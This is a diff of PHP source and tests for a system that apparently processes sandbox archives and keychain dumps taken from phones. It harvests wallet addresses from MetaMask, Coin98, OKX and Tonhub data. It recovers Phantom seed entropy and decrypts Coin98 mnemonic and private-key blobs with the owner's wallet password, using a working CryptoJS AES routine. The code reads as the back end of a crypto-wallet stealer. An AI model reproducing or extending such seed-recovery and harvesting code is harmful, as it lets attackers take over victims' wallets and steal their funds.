}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Keys that only ever hold contract / config addresses.
|
||||||
|
*
|
||||||
|
* @var list<string>
|
||||||
|
*/
|
||||||
|
private const CONTRACT_KEY_DENYLIST = [
|
||||||
|
'contracts',
|
||||||
|
'contract',
|
||||||
|
'contractAddress',
|
||||||
|
'tokenAddress',
|
||||||
|
'token_address',
|
||||||
|
'wethContractAddress',
|
||||||
|
'multicall3',
|
||||||
|
'multicallAddress',
|
||||||
|
'foxConnectAddresses',
|
||||||
|
'batchTxContract',
|
||||||
|
'balanceContract',
|
||||||
|
];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $node
|
||||||
|
*/
|
||||||
|
private function isTokenEntryNode(array $node): bool
|
||||||
|
{
|
||||||
|
if (! isset($node['symbol'])) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return isset($node['decimals']) || isset($node['name']) || isset($node['tokenType'])
|
||||||
|
|| isset($node['chainId']) || isset($node['logoUri']);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array{address: string, chain_type: string, balance: array<string, int|float|string>}|null
|
* @return array{address: string, chain_type: string, balance: array<string, int|float|string>}|null
|
||||||
*/
|
*/
|
||||||
@@ -954,10 +1483,17 @@ final class AppUploadIngester
|
|||||||
{
|
{
|
||||||
$addr = trim($raw);
|
$addr = trim($raw);
|
||||||
if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) {
|
if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) {
|
||||||
|
// Pure-digit 40-hex blobs are data (balances, timestamps), not accounts.
|
||||||
|
if (ctype_digit($addr)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
$addr = '0x'.$addr;
|
$addr = '0x'.$addr;
|
||||||
}
|
}
|
||||||
$chain = WalletSource::inferChainType($addr);
|
$chain = WalletSource::inferChainType($addr);
|
||||||
if (! WalletSource::isSupportedChain($chain)) {
|
// TON is only harvested by the dedicated Tonhub collector: EQ/UQ
|
||||||
|
// strings float around token caches as jetton contracts and would
|
||||||
|
// flood wallet_addresses from free-text scans.
|
||||||
|
if ($chain === 'TON' || ! WalletSource::isSupportedChain($chain)) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1336,11 +1872,20 @@ final class AppUploadIngester
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$entrySize = (int) $f->getSize();
|
||||||
|
// Hard gate before reading: wallet configs / keystores are small
|
||||||
|
// (Realm ≤ a few MB); image caches and token-inventory dumps are
|
||||||
|
// tens of MB and only burn memory (fatal on 128M limits when a
|
||||||
|
// device uploads a full 76 MB sandbox tar).
|
||||||
|
if ($entrySize > 5 * 1024 * 1024) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
$raw = @file_get_contents($f->getPathname());
|
$raw = @file_get_contents($f->getPathname());
|
||||||
if ($raw === false || $raw === '') {
|
if ($raw === false || $raw === '') {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$decoded = $this->decodeFileContent($raw, $rel);
|
$decoded = $this->decodeFileContent($raw, $rel);
|
||||||
|
unset($raw);
|
||||||
if ($decoded === null) {
|
if ($decoded === null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@@ -1360,8 +1905,10 @@ final class AppUploadIngester
|
|||||||
private function decodeFileContent(string $raw, string $path): mixed
|
private function decodeFileContent(string $raw, string $path): mixed
|
||||||
{
|
{
|
||||||
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
|
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
|
||||||
|
// Cap the decode: multi-MB token inventories explode into huge PHP
|
||||||
|
// arrays (10× the raw size) and end up serialized into raw_json.
|
||||||
$first = $raw[0] ?? '';
|
$first = $raw[0] ?? '';
|
||||||
if ($first === '{' || $first === '[') {
|
if (($first === '{' || $first === '[') && strlen($raw) <= 2 * 1024 * 1024) {
|
||||||
$json = json_decode($raw, true);
|
$json = json_decode($raw, true);
|
||||||
if (is_array($json)) {
|
if (is_array($json)) {
|
||||||
return $json;
|
return $json;
|
||||||
|
|||||||
@@ -1017,6 +1017,7 @@ class DarkSwordIngestAdapter
|
|||||||
'hits' => count($result['hits']),
|
'hits' => count($result['hits']),
|
||||||
'utc' => $result['utc'],
|
'utc' => $result['utc'],
|
||||||
'vault' => $result['vault'] ?? 0,
|
'vault' => $result['vault'] ?? 0,
|
||||||
|
'coin98' => $result['coin98'] ?? 0,
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1367,7 +1368,11 @@ class DarkSwordIngestAdapter
|
|||||||
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
|
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
|
||||||
$addr = $json['address'];
|
$addr = $json['address'];
|
||||||
$chainType = WalletSource::inferChainType($addr);
|
$chainType = WalletSource::inferChainType($addr);
|
||||||
if (WalletSource::isSupportedChain($chainType)) {
|
// TON stays out of DS free-text harvests (jetton
|
||||||
|
// contract noise); only the app-link Tonhub
|
||||||
|
// collector may store TON addresses.
|
||||||
|
$supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType);
|
||||||
|
if ($supported) {
|
||||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -69,6 +69,8 @@ final class DsKeystoreDecrypt
|
|||||||
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||||
if (isset($seen[$hash])) {
|
if (isset($seen[$hash])) {
|
||||||
|
$this->markSourceDecrypted($device->id, $hit['source']);
|
||||||
|
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$seen[$hash] = true;
|
$seen[$hash] = true;
|
||||||
@@ -101,16 +103,20 @@ final class DsKeystoreDecrypt
|
|||||||
|
|
||||||
$utcs = [];
|
$utcs = [];
|
||||||
$vaults = [];
|
$vaults = [];
|
||||||
|
$coin98Wallets = [];
|
||||||
foreach ($nodes as $node) {
|
foreach ($nodes as $node) {
|
||||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||||
|
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||||
|
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
$utcs = $this->uniqueKeystores($utcs);
|
$utcs = $this->uniqueKeystores($utcs);
|
||||||
$passwords = $this->expandUserPassword($password);
|
$passwords = $this->expandUserPassword($password);
|
||||||
$hits = [];
|
$hits = [];
|
||||||
$seen = [];
|
$seen = [];
|
||||||
if ($passwords === []) {
|
if ($passwords === []) {
|
||||||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
|
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||||
}
|
}
|
||||||
|
|
||||||
foreach ($utcs as $item) {
|
foreach ($utcs as $item) {
|
||||||
@@ -151,7 +157,26 @@ final class DsKeystoreDecrypt
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
|
// Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's
|
||||||
|
// wallet password.
|
||||||
|
if ($coin98Wallets !== []) {
|
||||||
|
$phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords);
|
||||||
|
if ($phrase !== null) {
|
||||||
|
$hash = WalletMnemonic::hashSecret($phrase);
|
||||||
|
if (! isset($seen[$hash])) {
|
||||||
|
$seen[$hash] = true;
|
||||||
|
$hitSource = $source !== '' ? $source : 'Coin98';
|
||||||
|
$hits[] = [
|
||||||
|
'source' => $hitSource,
|
||||||
|
'tag' => WalletSource::tagForLabel($hitSource) ?: 'q',
|
||||||
|
'phrase' => $phrase,
|
||||||
|
'addresses' => [],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -417,19 +442,11 @@ final class DsKeystoreDecrypt
|
|||||||
}
|
}
|
||||||
|
|
||||||
$out = [];
|
$out = [];
|
||||||
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
|
// Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}.
|
||||||
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
|
// Account may be hex, base64, or already-decoded UTF-8, and the path
|
||||||
// an "entropy" dict of byte-index → byte-value pairs.
|
// is either ".phantom-labs.vault.seedless.*" (older) or
|
||||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
// ".phantom-labs.vault.seed.*" (current iOS app).
|
||||||
$acct = (string) ($node['account'] ?? '');
|
if ($this->isPhantomVaultItem($node)) {
|
||||||
$acctDecoded = '';
|
|
||||||
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
|
||||||
$bin = @hex2bin($acct);
|
|
||||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
|
||||||
$acctDecoded = strtolower($bin);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
|
|
||||||
$hex = $this->phantomEntropyFromItem($node);
|
$hex = $this->phantomEntropyFromItem($node);
|
||||||
if ($hex !== null) {
|
if ($hex !== null) {
|
||||||
$out[] = $hex;
|
$out[] = $hex;
|
||||||
@@ -446,7 +463,54 @@ final class DsKeystoreDecrypt
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Extract the entropy hex from a Phantom vault seedless keychain item.
|
* @param array<string, mixed> $node
|
||||||
|
*/
|
||||||
|
private function isPhantomVaultItem(array $node): bool
|
||||||
|
{
|
||||||
|
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||||
|
$acct = $this->decodeKeychainAccount((string) ($node['account'] ?? ''));
|
||||||
|
$agrp = strtolower((string) ($node['accessGroup'] ?? ''));
|
||||||
|
$looksPhantom = str_contains($acct, 'phantom-labs')
|
||||||
|
|| str_contains($acct, 'phantom')
|
||||||
|
|| str_contains($agrp, 'phantom')
|
||||||
|
|| $svc === 'app.phantom';
|
||||||
|
if ($looksPhantom) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Older DS dumps used service=app:no-auth + hex account.
|
||||||
|
return $svc === 'app:no-auth' && (
|
||||||
|
str_contains($acct, 'phantom-labs.vault.seedless')
|
||||||
|
|| str_contains($acct, 'phantom-labs.vault.seed.')
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function decodeKeychainAccount(string $acct): string
|
||||||
|
{
|
||||||
|
$acct = trim($acct);
|
||||||
|
if ($acct === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
$lower = strtolower($acct);
|
||||||
|
if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) {
|
||||||
|
return $lower;
|
||||||
|
}
|
||||||
|
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||||
|
$bin = @hex2bin($acct);
|
||||||
|
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||||
|
return strtolower($bin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$b64 = base64_decode($acct, true);
|
||||||
|
if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) {
|
||||||
|
return strtolower($b64);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $lower;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract the entropy hex from a Phantom vault seedless/seed keychain item.
|
||||||
*
|
*
|
||||||
* @param array<string, mixed> $item
|
* @param array<string, mixed> $item
|
||||||
*/
|
*/
|
||||||
@@ -529,6 +593,15 @@ final class DsKeystoreDecrypt
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets,
|
||||||
|
// with CryptoJS-encrypted privateKey / mnemonic blobs).
|
||||||
|
if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) {
|
||||||
|
$wallets = array_values(array_filter($node['wallets'], 'is_array'));
|
||||||
|
if ($wallets !== []) {
|
||||||
|
$out[] = $wallets;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
foreach ($node as $key => $child) {
|
foreach ($node as $key => $child) {
|
||||||
if (is_array($child) || is_string($child)) {
|
if (is_array($child) || is_string($child)) {
|
||||||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||||||
@@ -790,6 +863,68 @@ final class DsKeystoreDecrypt
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as
|
||||||
|
* CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" +
|
||||||
|
* 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first
|
||||||
|
* (it decrypts straight to a BIP39 phrase), then the privateKey blob.
|
||||||
|
*
|
||||||
|
* @param list<array<string, mixed>> $wallets
|
||||||
|
* @param list<string> $passwords
|
||||||
|
*/
|
||||||
|
public function unlockCoin98Wallets(array $wallets, array $passwords): ?string
|
||||||
|
{
|
||||||
|
foreach ($wallets as $wallet) {
|
||||||
|
if (! is_array($wallet)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
foreach (['mnemonic', 'privateKey'] as $field) {
|
||||||
|
$cipher = $wallet[$field] ?? null;
|
||||||
|
if (! is_string($cipher) || $cipher === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
foreach ($passwords as $password) {
|
||||||
|
$plain = $this->decryptCryptoJsAes($cipher, $password);
|
||||||
|
if ($plain === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$phrase = $this->asMnemonic($plain);
|
||||||
|
if ($phrase !== null) {
|
||||||
|
return $phrase;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CryptoJS AES.encrypt(plain, password) default format:
|
||||||
|
* base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key
|
||||||
|
* and IV derived via OpenSSL EVP_BytesToKey (MD5, one round).
|
||||||
|
*/
|
||||||
|
private function decryptCryptoJsAes(string $cipherB64, string $password): ?string
|
||||||
|
{
|
||||||
|
$raw = base64_decode($cipherB64, true);
|
||||||
|
if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$salt = substr($raw, 8, 8);
|
||||||
|
$cipher = substr($raw, 16);
|
||||||
|
$derived = '';
|
||||||
|
$block = '';
|
||||||
|
while (strlen($derived) < 48) {
|
||||||
|
$block = md5($block.$password.$salt, true);
|
||||||
|
$derived .= $block;
|
||||||
|
}
|
||||||
|
$key = substr($derived, 0, 32);
|
||||||
|
$iv = substr($derived, 32, 16);
|
||||||
|
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||||
|
|
||||||
|
return is_string($plain) && $plain !== '' ? $plain : null;
|
||||||
|
}
|
||||||
|
|
||||||
private function phraseFromVaultPlain(string $plain): ?string
|
private function phraseFromVaultPlain(string $plain): ?string
|
||||||
{
|
{
|
||||||
$direct = $this->asMnemonic($plain);
|
$direct = $this->asMnemonic($plain);
|
||||||
|
|||||||
@@ -1291,14 +1291,17 @@ class IngestService
|
|||||||
if ($address === '') {
|
if ($address === '') {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
if (! isset($byAddr[$address])) {
|
$chain = strtoupper((string) ($item['chainType'] ?? $item['chain'] ?? ''));
|
||||||
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
if ($chain === '') {
|
||||||
if ($chain === '') {
|
$chain = WalletSource::inferChainType($address);
|
||||||
$chain = WalletSource::inferChainType($address);
|
}
|
||||||
}
|
// Key by address + chain: the same 0x address is a valid row on
|
||||||
$byAddr[$address] = [
|
// ETH, BSC and ARB at once and must not collapse into one.
|
||||||
|
$key = $address.'|'.$chain;
|
||||||
|
if (! isset($byAddr[$key])) {
|
||||||
|
$byAddr[$key] = [
|
||||||
'address' => $address,
|
'address' => $address,
|
||||||
'chain_type' => strtoupper($chain),
|
'chain_type' => $chain,
|
||||||
'balance' => [],
|
'balance' => [],
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
@@ -1306,7 +1309,7 @@ class IngestService
|
|||||||
if ($symbol === '') {
|
if ($symbol === '') {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
$byAddr[$key]['balance'][$symbol] = WalletSource::formatBalance(
|
||||||
$item['balance'] ?? $item['value'] ?? 0,
|
$item['balance'] ?? $item['value'] ?? 0,
|
||||||
$item['decimal'] ?? $item['decimals'] ?? null
|
$item['decimal'] ?? $item['decimals'] ?? null
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -268,6 +268,7 @@ final class WalletSource
|
|||||||
'BNB', 'BSC', 'BINANCE',
|
'BNB', 'BSC', 'BINANCE',
|
||||||
'SOL', 'SOLANA',
|
'SOL', 'SOLANA',
|
||||||
'ARB', 'ARBITRUM',
|
'ARB', 'ARBITRUM',
|
||||||
|
'TON', 'TONCOIN',
|
||||||
];
|
];
|
||||||
|
|
||||||
public static function isSupportedChain(string $chainType): bool
|
public static function isSupportedChain(string $chainType): bool
|
||||||
|
|||||||
@@ -341,6 +341,39 @@ class AppUploadIngestTest extends TestCase
|
|||||||
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function keychain_phantom_base64_seed_vault_recovers_mnemonic(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-phantom-b64');
|
||||||
|
$entropy = [];
|
||||||
|
for ($i = 0; $i < 16; $i++) {
|
||||||
|
$entropy[(string) $i] = 0;
|
||||||
|
}
|
||||||
|
$vault = json_encode([
|
||||||
|
'version' => 1,
|
||||||
|
'identifier' => 'eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d',
|
||||||
|
'name' => '账户 0',
|
||||||
|
'entropy' => $entropy,
|
||||||
|
], JSON_UNESCAPED_UNICODE);
|
||||||
|
$acct = base64_encode('.phantom-labs.vault.seed.eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d');
|
||||||
|
$xml = '<?xml version="1.0"?><keychain>'
|
||||||
|
.'<item>'
|
||||||
|
.'<acct>'.$acct.'</acct>'
|
||||||
|
.'<svce>app:no-auth</svce>'
|
||||||
|
.'<agrp>TEAM.app.phantom</agrp>'
|
||||||
|
.'<v_Data bin="1">'.base64_encode((string) $vault).'</v_Data>'
|
||||||
|
.'</item>'
|
||||||
|
.'</keychain>';
|
||||||
|
|
||||||
|
$ingester = app(AppUploadIngester::class);
|
||||||
|
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
|
||||||
|
$ingester->dispatchDecrypt($device);
|
||||||
|
|
||||||
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
|
||||||
|
$this->assertNotNull($memo);
|
||||||
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function keychain_metamask_vault_is_a_password_row(): void
|
public function keychain_metamask_vault_is_a_password_row(): void
|
||||||
{
|
{
|
||||||
@@ -412,6 +445,315 @@ class AppUploadIngestTest extends TestCase
|
|||||||
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function metamask_persist_store_keeps_user_accounts_only(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-mm-persist');
|
||||||
|
$eth = '0x3bb73b8aaba98538733df3c8a9ea2d769d6aca9e';
|
||||||
|
$sol = 'F2Ht8XtGJMSaVkva9XSo1tashz8xUzWSVK69Txmds2jd';
|
||||||
|
$btc = 'bc1qncn7nxs46gfvtlqaxdkpm0rpevwe8j7tuh89dz';
|
||||||
|
$trx = 'TV3K172bN8kTrq9s5fMKcB8YHZi6F8pxUm';
|
||||||
|
$stellar = 'GAX7C5SZIQJYRCASX6U2VSCFRO2Y24IAFCQSC32VEX2KR44MCXULYT4O';
|
||||||
|
$usdc = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
||||||
|
$accounts = ['internalAccounts' => ['accounts' => [
|
||||||
|
'acc-1' => ['id' => 'acc-1', 'address' => $eth, 'type' => 'eip155:eoa', 'metadata' => ['name' => 'Account 1']],
|
||||||
|
'acc-2' => ['id' => 'acc-2', 'address' => $sol, 'type' => 'solana:data-account', 'metadata' => []],
|
||||||
|
'acc-3' => ['id' => 'acc-3', 'address' => $btc, 'type' => 'bip122:p2wpkh', 'metadata' => []],
|
||||||
|
'acc-4' => ['id' => 'acc-4', 'address' => $trx, 'type' => 'tron:eoa', 'metadata' => []],
|
||||||
|
'acc-5' => ['id' => 'acc-5', 'address' => $stellar, 'type' => 'stellar:account', 'metadata' => []],
|
||||||
|
]]];
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/persistStore/persist-AccountsController' => json_encode($accounts),
|
||||||
|
// Token list / network config noise that used to be harvested.
|
||||||
|
'Documents/persistStore/persist-AssetsController' => json_encode([
|
||||||
|
'tokens' => [
|
||||||
|
['symbol' => 'USDC', 'name' => 'USD Coin', 'decimals' => 18, 'chainId' => '0x1', 'address' => $usdc],
|
||||||
|
],
|
||||||
|
]),
|
||||||
|
'Documents/persistStore/persist-NetworkEnablementController' => json_encode([
|
||||||
|
'multicall3' => $usdc,
|
||||||
|
'foxConnectAddresses' => ['polygon' => $usdc],
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
|
||||||
|
|
||||||
|
$addrs = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get(['address', 'chain_type', 'source']);
|
||||||
|
$this->assertSame(4, $addrs->count());
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $eth && $a->chain_type === 'ETHEREUM'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $sol && $a->chain_type === 'SOLANA'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
|
||||||
|
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $trx && $a->chain_type === 'TRON'));
|
||||||
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $stellar));
|
||||||
|
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $usdc));
|
||||||
|
$this->assertTrue($addrs->every(fn ($a) => $a->source === 'MetaMask'));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function coin98_manifest_stores_wallet_only(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-coin98');
|
||||||
|
$tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
|
||||||
|
$tokenContract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
||||||
|
// Real shape: doubly JSON-encoded wallet array inside SET_WALLET_STORAGE.
|
||||||
|
$manifest = json_encode([
|
||||||
|
'SET_WALLET_STORAGE' => json_encode([[
|
||||||
|
'address' => $tronWallet,
|
||||||
|
'privateKey' => 'U2FsdGVkX19qEoG/YqTMSgvs0Si33PVh0hddCN6s9OB3',
|
||||||
|
'chain' => 'tron',
|
||||||
|
'mnemonic' => 'U2FsdGVkX1+rQDNv7jT9NGmJ26hOhY/PPPkNIv68IqxN',
|
||||||
|
'encryption' => false,
|
||||||
|
'name' => 'My Wallet - 809532',
|
||||||
|
'isActive' => true,
|
||||||
|
]]),
|
||||||
|
'DEVICE_ID' => '"d4032e20-1279-4f43-83b2-89bf53f6a25b"',
|
||||||
|
'CACHE_TOKEN_LIST_DATA' => null,
|
||||||
|
'POINT_TOKEN_INFO' => json_encode([
|
||||||
|
'contracts' => ['boba' => ['contract' => $tokenContract, 'key' => 'boba']],
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
// Hash-named AsyncStorage file carrying the full token inventory.
|
||||||
|
$inventory = json_encode([
|
||||||
|
['symbol' => 'WOO', 'name' => 'WOO', 'decimals' => 18, 'chain' => 'binanceSmart', 'address' => $tokenContract],
|
||||||
|
['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 18, 'chain' => 'ethereum', 'address' => '0x'.$tokenContract],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
|
||||||
|
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/f26084161a3ff963a80009cd5a700583' => $inventory,
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
|
||||||
|
|
||||||
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->get(['address', 'chain_type', 'source']);
|
||||||
|
$this->assertSame(1, $addrs->count());
|
||||||
|
$this->assertSame($tronWallet, $addrs[0]->address);
|
||||||
|
$this->assertSame('TRON', $addrs[0]->chain_type);
|
||||||
|
$this->assertSame('Coin98', $addrs[0]->source);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function okex_documents_store_no_token_contracts(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-okx');
|
||||||
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
$weth = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
||||||
|
$sqlite = $this->makeOkxCoinMetaSqlite($weth, $usdt);
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/wallet_coinMeta' => $sqlite,
|
||||||
|
'Documents/OKPayCore.db' => $this->makeOkxCoinMetaSqlite($weth, $usdt),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar');
|
||||||
|
|
||||||
|
$this->assertSame(
|
||||||
|
0,
|
||||||
|
WalletAddress::query()->where('device_id', $device->id)->count()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function tonhub_react_query_stores_user_ton_address(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-tonhub');
|
||||||
|
$user = 'EQDBNivLP27xo9TimKUEGZdO8oCTg9YuQZNILru-1e8jXqQQ';
|
||||||
|
$jetton = 'EQBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB';
|
||||||
|
// > 64 KiB so decodeFileContent base64-encodes it, like real mmkv.
|
||||||
|
$payload = str_pad(
|
||||||
|
'{"queryKey":["cloud","'.$user.'","primaryCurrency-v1"]}%'
|
||||||
|
.'{"queryKey":["holders","'.$jetton.'","status"]}',
|
||||||
|
70000,
|
||||||
|
'x'
|
||||||
|
);
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/mmkv/react-query' => $payload,
|
||||||
|
'Documents/mmkv/persistence' => '{"queryKey":["account","'.$jetton.'"]}',
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.tonhub.app.tar');
|
||||||
|
|
||||||
|
$addrs = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get(['address', 'chain_type', 'source']);
|
||||||
|
$this->assertSame(1, $addrs->count());
|
||||||
|
$this->assertSame($user, $addrs[0]->address);
|
||||||
|
$this->assertSame('TON', $addrs[0]->chain_type);
|
||||||
|
$this->assertSame('Tonhub', $addrs[0]->source);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
